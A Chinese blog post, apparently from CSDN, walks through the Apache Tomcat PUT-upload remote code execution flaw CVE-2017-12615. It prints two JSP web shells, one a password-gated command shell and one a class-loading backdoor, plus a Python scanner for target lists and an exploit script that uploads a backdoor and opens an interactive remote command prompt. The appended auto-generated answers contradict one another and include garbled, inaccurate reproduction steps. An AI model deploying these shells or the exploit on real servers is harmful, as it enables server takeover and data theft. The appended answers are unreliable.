tomcat7.x远程命令执行(CVE-2017-12615)漏洞利用复现

一、漏洞前言

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险

二、漏洞名称

CVE-2017-12615-远程代码执行漏洞

三、危害等级:

高危

四、漏洞描述:

CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

五、漏洞利用条件和方式
CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

CVE-2017-12616漏洞需要在server.xml文件配置参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。

六、漏洞影响范围:

CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.7

七、漏洞复现

利用:PUT方法请求

burp suite抓包然后将请求头修改为
第一种利用:/

第二种后缀加个.
因为环境可能是linux的 所以可能不支持

第三种 NTFS流

这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用与Windows系统+Tomcat 7.x。

第四种 %20

这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用与Windows系统+Tomcat 7.x。

上传一个回显cmd马,进行访问

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

在repter模块对提交的数据进行更改,上传jsp一句话木马,密码passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

POC

#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

EXP

#CVE-2017-12615 EXP
__author__ = '纸机'
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。 要复现该漏洞,需要满足以下条件: 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序,其中包含一个可上传文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置,允许攻击者上传包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞: PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中,test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。 如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。 ### 回答2: CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞的复现步骤: 1.安装Tomcat服务器 2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。 3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上传到目标服务器。 4.在表单中输入如下内容: PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。 6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3: CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。 为了演示该漏洞的复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令: sudo apt-get update sudo apt-get install tomcat7 安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装: http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面,则说明安装成功。 复现漏洞 接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下: 1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码: <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件: jar -cvf test.war test.jsp 3. 接下来,我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着,将上传的 test.war 文件复制到该目录下: sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框: http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令,即可执行命令并返回结果: cmd=ls 我们可以看到,这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值